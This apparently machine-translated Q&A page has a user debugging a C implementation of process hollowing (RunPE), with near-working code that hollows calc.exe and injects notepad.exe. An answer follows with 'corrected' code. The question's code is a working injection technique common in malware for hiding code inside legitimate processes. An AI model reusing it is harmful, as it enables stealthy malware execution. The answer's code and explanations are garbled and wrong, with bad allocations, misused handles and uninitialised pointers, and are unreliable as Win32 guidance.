Process hollowing throws error 5 - access is denied

问题描述 投票:0回答:1

(我提前道歉,缺少一些重要信息。我真的不知道该包括什么。所以如果有人要我添加任何信息,请告诉我,我会尽力而为。谢谢大家!)

我尝试按照本教程,结合自己的知识,在C:中实现一个进程挖空(RunPE)技术

https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations

基本上,我创建一个处于挂起状态的进程,找到它是PEB,然后是Image基地址,Unmap它是内存。

然后我继续阅读源文件(在我的例子中是 notepad.exe),定义它的标题等...... 然后通过重新分配表将所有内容(包括标头、部分和修补字节)写入旧进程(未映射)的内存中。

然后,我只获取进程的上下文并将其 eax 寄存器更改为新进程的入口点,然后恢复主线程。

我尝试在WinDbg中查看,所有内存似乎都被正确写入。 但是,当以 eax 为入口点恢复主线程时,会显示此错误(在 WinDbg 中):

(216c.3d84): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02fc1860 ebx=030a4000 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=76f35080 esp=02f6fe58 ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
ntdll!RtlUserThreadStart:
76f35080 833ddc69fe7600  cmp     dword ptr [ntdll!LdrDelegatedRtlUserThreadStart (76fe69dc)],0 ds:002b:76fe69dc=00000000

我很乐意听到关于如何进一步调试它的任何想法,因为我对它很陌生。

下面是我的

main.c


#include <Windows.h>
#include <stdio.h>
#include <winternl.h>


typedef NTSTATUS(NTAPI* NtUnmapViewOfSection)(
    HANDLE ProcessHandle,
    PVOID  BaseAddress
    );


int main(int argc, char* argv[])
{

    printf("Creating process\r\n");

    LPSTARTUPINFOA si = (LPSTARTUPINFOA)calloc(1, sizeof(STARTUPINFOA));
    LPPROCESS_INFORMATION pi = (LPPROCESS_INFORMATION)calloc(1, sizeof(PROCESS_INFORMATION));

    // Start process in suspended state
    if (!CreateProcessA
    (
        "C:\\Windows\\sysWOW64\\calc.exe",
        NULL,
        NULL,
        NULL,
        NULL,
        CREATE_SUSPENDED,
        NULL,
        NULL,
        si,
        pi
    ))
    {
        printf("Error with CreateProcessA - %d", GetLastError());
        return 1;
    }

    if (!pi->hProcess)
    {
        printf("Error creating process - %d", GetLastError());
        return 1;
    }

    HANDLE hDestProcess = pi->hProcess;

    PROCESS_BASIC_INFORMATION* pbi = (PROCESS_BASIC_INFORMATION*)calloc(1, sizeof(PROCESS_BASIC_INFORMATION));
    DWORD retLen = 0;

    // Find PEB
    if (NtQueryInformationProcess(hDestProcess, ProcessBasicInformation, pbi, sizeof(PROCESS_BASIC_INFORMATION), &retLen))
    {
        printf("Error finding peb - %d", GetLastError());
        return 1;
    }

    printf("PEB address: %p\n", pbi->PebBaseAddress);

    DWORD pebImageBaseOffset = (DWORD)pbi->PebBaseAddress + 0x8;

    LPVOID destImageBase = 0;
    SIZE_T bytesRead;

    // Find image base by PEB's offset 0x8
    if (!ReadProcessMemory(hDestProcess, (LPCVOID)pebImageBaseOffset, &destImageBase, 0x4, &bytesRead))
    {
        printf("Error getting process's image base - %d", GetLastError());
        return 1;
    }

    printf("Process image base: %p\n", destImageBase);

    // Read other exe file
    HANDLE sourceFile =
        CreateFileA("C:\\Windows\\sysWOW64\\notepad.exe", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
    DWORD sourceFileSize = GetFileSize(sourceFile, NULL);
    DWORD fileBytesRead = 0;
    LPVOID sourceFileStart = (LPVOID)malloc(sourceFileSize);
    ReadFile(sourceFile, sourceFileStart, sourceFileSize, &fileBytesRead, NULL);

    PIMAGE_DOS_HEADER sourceDosHeader = (PIMAGE_DOS_HEADER)sourceFileStart;
    PIMAGE_NT_HEADERS sourceNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)sourceFileStart + sourceDosHeader->e_lfanew);
    SIZE_T sourceSize = sourceNtHeaders->OptionalHeader.SizeOfImage;

    // Get the NtUnmapViewOfSection function and unmap the memory
    NtUnmapViewOfSection NtUnmapViewOfSectionFunc =
        (NtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll"), "NtUnmapViewOfSection");

    if (NtUnmapViewOfSectionFunc == NULL)
    {
        printf("Problem finding NtUnmapViewOfSection - %d", GetLastError());
        return 1;
    }

    if (NtUnmapViewOfSectionFunc(hDestProcess, destImageBase))
    {
        printf("Problem unmapping process virtual memory");
        return 1;
    }

    printf("Memory unammped\n");

    PVOID newDestImageBase =
        VirtualAllocEx(hDestProcess, NULL, sourceSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    printf("New allocated image base: %p\n", newDestImageBase);

    sourceNtHeaders->OptionalHeader.ImageBase = (DWORD)destImageBase;

    // Write headers
    if (!WriteProcessMemory(hDestProcess, newDestImageBase, sourceFileStart, sourceNtHeaders->OptionalHeader.SizeOfHeaders, NULL))
    {
        printf("Problem writing headers - %d", GetLastError());
        return 1;
    }
    
    PIMAGE_SECTION_HEADER sourceSection = IMAGE_FIRST_SECTION(sourceNtHeaders);
    PIMAGE_SECTION_HEADER sourceSectionOld = sourceSection;

    // Save the reloc table pointer for later
    DWORD sourceRelocTableRaw;

    // Write sections
    for (int i = 0; i < sourceNtHeaders->FileHeader.NumberOfSections; i++)
    {
        if (!sourceSection->PointerToRawData)
            continue;

        PVOID destSectionAddr = (PVOID)((DWORD)newDestImageBase + sourceSection->VirtualAddress);
        PVOID sourceSectionAddr = (PVOID)((DWORD)sourceFileStart + sourceSection->PointerToRawData);

        printf("Writing %s section to %p\r\n", sourceSection->Name, destSectionAddr);

        if (!WriteProcessMemory(hDestProcess, destSectionAddr, sourceSectionAddr, sourceSection->SizeOfRawData, NULL))
        {
            printf("Problem writing sections - %d", GetLastError());
            return 1;
        }

        if (memcmp(sourceSection->Name, ".reloc", 6) == 0)
        {
            sourceRelocTableRaw = sourceSection->PointerToRawData;
        }

        sourceSection++;
    }

    // Getting the difference between the real based address and the preffered base address, for relocations
    DWORD deltaImageBase = (DWORD)newDestImageBase - sourceNtHeaders->OptionalHeader.ImageBase;

    IMAGE_DATA_DIRECTORY relocTable = sourceNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    DWORD relocOffset = 0;

    while (relocOffset < relocTable.Size)
    {
        PIMAGE_BASE_RELOCATION relocBlock = (PIMAGE_BASE_RELOCATION)((DWORD)sourceFileStart + sourceRelocTableRaw + relocOffset);
        relocOffset += sizeof(IMAGE_BASE_RELOCATION);
        DWORD relocEntryCount = (relocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
        PWORD relocEntries = (PWORD)((DWORD)sourceFileStart + sourceRelocTableRaw + relocOffset);

        for (DWORD i = 0; i < relocEntryCount; i++)
        {
            relocOffset += sizeof(WORD);

            if (relocEntries[i] & 0xF000 == IMAGE_REL_BASED_ABSOLUTE)
            {
                // Skip this entry, since it represents an absolute address
                continue;
            }

            DWORD patchAddrRVA = relocBlock->VirtualAddress + (relocEntries[i] & 0x0FFF);
            DWORD patchedBuff = 0;
            
            if (!ReadProcessMemory(hDestProcess, (DWORD)newDestImageBase + patchAddrRVA, &patchedBuff, sizeof(DWORD), &bytesRead))
            {
                printf("Problem reading bytes to patch - %d", GetLastError());
                return 1;
            }

            // Add the difference between the actual image base and the preffered image base
            patchedBuff += deltaImageBase;

            if (!WriteProcessMemory(hDestProcess, (DWORD)newDestImageBase + patchAddrRVA, &patchedBuff, sizeof(DWORD), NULL))
            {
                printf("Problem writing patched bytes - %d", GetLastError());
                return 1;
            }
        }
    }

    printf("Relocation bytes patched\n");

    // Get context of the main thread
    LPCONTEXT context = (LPCONTEXT)malloc(sizeof(CONTEXT));;
    context->ContextFlags = CONTEXT_INTEGER;
    GetThreadContext(pi->hThread, context);

    // Change entry point
    DWORD newEntryPoint = (DWORD)newDestImageBase + sourceNtHeaders->OptionalHeader.AddressOfEntryPoint;
    context->Eax = newEntryPoint;
    
    printf("New entry point addr: %p\n", newEntryPoint);

    // Set the main thread context with eax containing the new entry point
    SetThreadContext(pi->hThread, context);

    // Finally, resume the main thread
    ResumeThread(pi->hThread);
    printf("Process main thread resumed");

    // Close handles
    CloseHandle(pi->hProcess);
    CloseHandle(pi->hThread);

    return 0;
}

非常感谢!

c winapi windbg portable-executable
1个回答
0
投票

PEB的部分.

您已调用

NtQueryInformationProcess
传入目标进程对象句柄。
destImageBase
必须是分配的 PEB 结构内存指针。您需要将
LPVOID destImageBase
替换为
PROCESS_BASIC_INFORMATION destImageBase
。然后在
NtUnmapViewOfSection
.

中引用它

修改后:

 PROCESS_BASIC_INFORMATION  destImageBase;
 destImageBase.PebBaseAddress;

sourceNtHeaders->OptionalHeader
没有初始化,所以它指向的内存位置是未知的,这将不可避免地导致像read violation等错误

修改后:

 PIMAGE_NT_HEADERS32 sourceNtHeaders =(PIMAGE_NT_HEADERS32)malloc(sizeof(*sourceNtHeaders));
 IMAGE_OPTIONAL_HEADER32 sourceSize;
 sourceSize=(sourceNtHeaders->OptionalHeader);
 SIZE_T szsz = sizeof(sourceSize.SizeOfImage);

写头部分.

WriteProcessMemory
中,
sourceNtHeaders->OptionalHeader.SizeOfHeaders
表示跨越两个block的结构体类型指针,所以返回299错误

同理,

PIMAGE_SECTION_HEADER
也需要初始化指针和分配内存块

sourceSection= (PIMAGE_SECTION_HEADER)malloc(sizeof(sourceSection));
(PIMAGE_SECTION_HEADER)malloc(sourceSection->VirtualAddress);
sizeof(sourceSection->VirtualAddress);

至于写作部分,我想你还没有走到这一步。而且这部分代码也没有完全改正,即使参考了你贴的process hollowing(RunPE),我也看不懂

例如,在

relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY)
中,
BASE_RELOCATION_ENTRY
被简单地替换为
WORD
。所以我暂时不会修改这部分,除非你稍后更新它。

这是完整的代码。希望这会有所帮助。

#include <Windows.h>
#include <stdio.h>
#include <winternl.h>

typedef
NTSTATUS(WINAPI* pfnNtQueryInformationProcess)
(HANDLE ProcessHandle, ULONG ProcessInformationClass,
    PVOID ProcessInformation, UINT32 ProcessInformationLength,
    UINT32* ReturnLength);

typedef NTSTATUS(NTAPI* NtUnmapViewOfSection)(
    HANDLE ProcessHandle,
    PVOID  BaseAddress
    );


int main(int argc, char* argv[])
{

    printf("Creating process\r\n");

    LPSTARTUPINFOA si = (LPSTARTUPINFOA)calloc(1, sizeof(STARTUPINFOA));
    LPPROCESS_INFORMATION pi = (LPPROCESS_INFORMATION)calloc(1, sizeof(PROCESS_INFORMATION));

    // Start process in suspended state
    BOOL cpa = CreateProcessA
    (
        "C:\\Users\\Administrator\\Desktop\\calc.exe",
        NULL,
        NULL,
        NULL,
        NULL,
        CREATE_SUSPENDED,
        NULL,
        NULL,
        si,
        pi
    );
    if (!cpa)
    {
        printf("Error with CreateProcessA - %d", GetLastError());
        return 1;
    }

    if (!pi->hProcess)
    {
        printf("Error creating process - %d", GetLastError());
        return 1;
    }

    HANDLE hDestProcess = pi->hProcess;

    PROCESS_BASIC_INFORMATION* pbi = (PROCESS_BASIC_INFORMATION*)calloc(1, sizeof(PROCESS_BASIC_INFORMATION));
    DWORD retLen = 0;
    HMODULE hModule = GetModuleHandleA("ntdll.dll");
    pfnNtQueryInformationProcess NtQueryInformationProcess =
        (pfnNtQueryInformationProcess)GetProcAddress(hModule, "NtQueryInformationProcess");
    // Find PEB
    if (NtQueryInformationProcess(hDestProcess, ProcessBasicInformation, pbi, sizeof(PROCESS_BASIC_INFORMATION), (UINT32*) & retLen))
    {
        printf("Error finding peb - %d", GetLastError());
        return 1;
    }

    printf("PEB address: %p\n", pbi->PebBaseAddress);

    DWORD pebImageBaseOffset = (DWORD)pbi->PebBaseAddress + 0x8;

    PROCESS_BASIC_INFORMATION  destImageBase;
    destImageBase.PebBaseAddress;

    SIZE_T bytesRead;

    // Find image base by PEB's offset 0x8
    BOOL rc1 = ReadProcessMemory(hDestProcess, (LPCVOID)pebImageBaseOffset, &destImageBase, 0xD, &bytesRead);
    if (!rc1)
    {
        printf("Error getting process's image base - %d", GetLastError());
        return 1;
    }

    printf("Process image base: %p\n", destImageBase);

    // Read other exe file
    HANDLE sourceFile =
        CreateFileA("C:\\Users\\Administrator\\Desktop\\notepad.exe", GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL);
    DWORD sourceFileSize = GetFileSize(sourceFile, NULL);
  
    DWORD fileBytesRead ;
    LPVOID sourceFileStart = malloc(sizeof(sourceFileSize));
    ReadFile(sourceFile, sourceFileStart, sourceFileSize, &fileBytesRead, NULL);

    PIMAGE_DOS_HEADER sourceDosHeader = (PIMAGE_DOS_HEADER)sourceFileStart;

     PIMAGE_NT_HEADERS32 sourceNtHeaders =(PIMAGE_NT_HEADERS32)malloc(sizeof(*sourceNtHeaders));
     IMAGE_OPTIONAL_HEADER32 sourceSize;
     sourceSize=(sourceNtHeaders->OptionalHeader);
     SIZE_T szsz = sizeof(sourceSize.SizeOfImage);
   
     sourceNtHeaders = (PIMAGE_NT_HEADERS32)((DWORD)sourceFileStart + sourceDosHeader->e_lfanew);
 
     LPVOID newDestImageBase =
        (LPVOID*)VirtualAllocEx(hDestProcess, 0, szsz, MEM_COMMIT| MEM_RESERVE, PAGE_EXECUTE_READWRITE);
     if (newDestImageBase == NULL)
     {
         printf("VirtualAllocEx error :%X\n", (BYTE*)newDestImageBase);
         
     }

    // Get the NtUnmapViewOfSection function and unmap the memory
    NtUnmapViewOfSection NtUnmapViewOfSectionFunc =
        (NtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll"), "NtUnmapViewOfSection");

    if (NtUnmapViewOfSectionFunc(hDestProcess, pi->hProcess) == NULL)
    {
        printf("Problem finding NtUnmapViewOfSection - %d", GetLastError());
        return 1;
    }

    printf("Memory unammped\n");

    printf("New allocated image base: %p\n", newDestImageBase);

    //szsz = (DWORD)(destImageBase = {});
    DWORD lpflOldProtect;
  
    // Write headers
 

    //VirtualProtectEx(hDestProcess, newDestImageBase, sizeof(sourceSize.SizeOfHeaders), PAGE_EXECUTE_READWRITE, &lpflOldProtect);

   BOOL res2= WriteProcessMemory(hDestProcess, newDestImageBase, (LPCVOID)&szsz, sizeof(sourceSize.SizeOfHeaders), NULL);
    if (!res2)
    {
        printf("Problem writing headers - %d", GetLastError());
        return 1;
    }
    //VirtualProtectEx(hDestProcess, newDestImageBase, sizeof(sourceSize.SizeOfHeaders), lpflOldProtect, &lpflOldProtect);
     sourceNtHeaders = (PIMAGE_NT_HEADERS32)malloc(sizeof(sourceNtHeaders));
    PIMAGE_SECTION_HEADER sourceSection = IMAGE_FIRST_SECTION(sourceNtHeaders);
    PIMAGE_SECTION_HEADER sourceSectionOld = sourceSection;
    sourceSection= (PIMAGE_SECTION_HEADER)malloc(sizeof(sourceSection));
    (PIMAGE_SECTION_HEADER)malloc(sourceSection->VirtualAddress);
    sizeof(sourceSection->VirtualAddress);
    // Save the reloc table pointer for later
    DWORD sourceRelocTableRaw = {};

    // Write sections
  //  for (int i = 0; i < sourceNtHeaders->FileHeader.NumberOfSections; i++)
  //  {
  //      if (!sourceSection->PointerToRawData)
  //          continue;

  //      PVOID destSectionAddr = (PVOID)((DWORD)newDestImageBase + sourceSection->VirtualAddress);
  //      sizeof(destSectionAddr);
  //destSectionAddr =
  //          (LPVOID*)VirtualAllocEx(hDestProcess, 0, 4, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  //      PVOID sourceSectionAddr = (PVOID)((DWORD)sourceFileStart + sourceSection->PointerToRawData);
  //      sizeof(sourceSectionAddr);
  //      printf("Writing %d section to %p\r\n", sourceSection->Name, destSectionAddr);
  //      SIZE_T ssection = sizeof(sourceSection->SizeOfRawData);
  //      VirtualProtectEx(hDestProcess, destSectionAddr, sizeof(ssection), PAGE_EXECUTE_READWRITE, &lpflOldProtect);
  //      if (!WriteProcessMemory(hDestProcess, destSectionAddr,  &sourceSectionAddr, ssection, NULL))
  //      {
  //          printf("Problem writing sections - %d", GetLastError());
  //          return 1;
  //      }
  //      VirtualProtectEx(hDestProcess, destSectionAddr, sizeof(ssection), lpflOldProtect, &lpflOldProtect);

  //      if (memcmp(sourceSection->Name, (BYTE*)".reloc", 6) == 0)
  //      {
  //          sourceRelocTableRaw = sourceSection->PointerToRawData;
  //      }

  //      sourceSection++;
  //  }

  //  // Getting the difference between the real based address and the preffered base address, for relocations
  //  DWORD deltaImageBase = (DWORD)newDestImageBase - sourceNtHeaders->OptionalHeader.ImageBase;

  //  IMAGE_DATA_DIRECTORY relocTable = sourceNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
  //  DWORD relocOffset = 0;

  //  while (relocOffset < relocTable.Size)
  //  {
  //      
  //      PIMAGE_BASE_RELOCATION relocBlock = (PIMAGE_BASE_RELOCATION)((DWORD)sourceFileStart + sourceRelocTableRaw + relocOffset);
  //      relocOffset += sizeof(IMAGE_BASE_RELOCATION);
  //      SIZE_T rb = sizeof(relocBlock->SizeOfBlock);
  //      DWORD relocEntryCount = (rb - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
  //      PWORD relocEntries = (PWORD)((DWORD)sourceFileStart + sourceRelocTableRaw + relocOffset);
  //      relocEntries = (PWORD)malloc(sizeof(relocEntries));

  //      for (DWORD i = 0; i < relocEntryCount; i++)
  //      {
  //          relocOffset += sizeof(WORD);

  //          if (relocEntries[i] & 0xF000 == IMAGE_REL_BASED_ABSOLUTE)
  //          {
  //              // Skip this entry, since it represents an absolute address
  //              continue;
  //          }
  //          
  //          PIMAGE_BASE_RELOCATION relocBlock = (PIMAGE_BASE_RELOCATION)malloc(sizeof(relocBlock));
  //          DWORD patchAddrRVA = relocBlock->VirtualAddress + (relocEntries[i] & 0x0FFF);
  //          LPVOID np = (LPVOID)sizeof((DWORD)newDestImageBase + patchAddrRVA);
  //          np =
  //              (LPVOID*)VirtualAllocEx(hDestProcess, 0, 4, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  //          DWORD patchedBuff = 0;
  //          //VirtualProtectEx(hDestProcess, (LPVOID)(sizeof((DWORD)newDestImageBase + patchAddrRVA)), sizeof((DWORD)newDestImageBase + patchAddrRVA), PAGE_EXECUTE_READWRITE, &lpflOldProtect);

  //          BOOL btp=ReadProcessMemory(hDestProcess, (LPVOID)np, &patchedBuff, sizeof(DWORD), &bytesRead);
  //          if (!btp)
  //          {
  //              printf("Problem reading bytes to patch1 - %d", GetLastError());
  //              return 1;
  //          }
  //          //VirtualProtectEx(hDestProcess, (LPVOID)(sizeof((DWORD)newDestImageBase + patchAddrRVA)), sizeof(DWORD), PAGE_EXECUTE_READWRITE, &lpflOldProtect);
  //          // Add the difference between the actual image base and the preffered image base
  //          patchedBuff += deltaImageBase;

  //          if (!WriteProcessMemory(hDestProcess, (LPVOID)np, &patchedBuff, sizeof(DWORD), NULL))
  //          {
  //              printf("Problem writing patched bytes2 - %d", GetLastError());
  //              return 1;
  //          }
  //      }
  //  }

    printf("Relocation bytes patched\n");

    // Get context of the main thread
    LPCONTEXT context = (LPCONTEXT)malloc(sizeof(CONTEXT));;
    context->ContextFlags = CONTEXT_INTEGER;
    GetThreadContext(pi->hThread, context);

    // Change entry point
    DWORD newEntryPoint = (DWORD)newDestImageBase + sourceNtHeaders->OptionalHeader.AddressOfEntryPoint;
    context->Eax = newEntryPoint;

    printf("New entry point addr: %p\n", newEntryPoint);

    // Set the main thread context with eax containing the new entry point
    SetThreadContext(pi->hThread, context);

    // Finally, resume the main thread
    ResumeThread(pi->hThread);
    printf("Process main thread resumed");

    // Close handles
    CloseHandle(pi->hProcess);
    CloseHandle(pi->hThread);

    return 0;
}
© www.soinside.com 2019 - 2024. All rights reserved.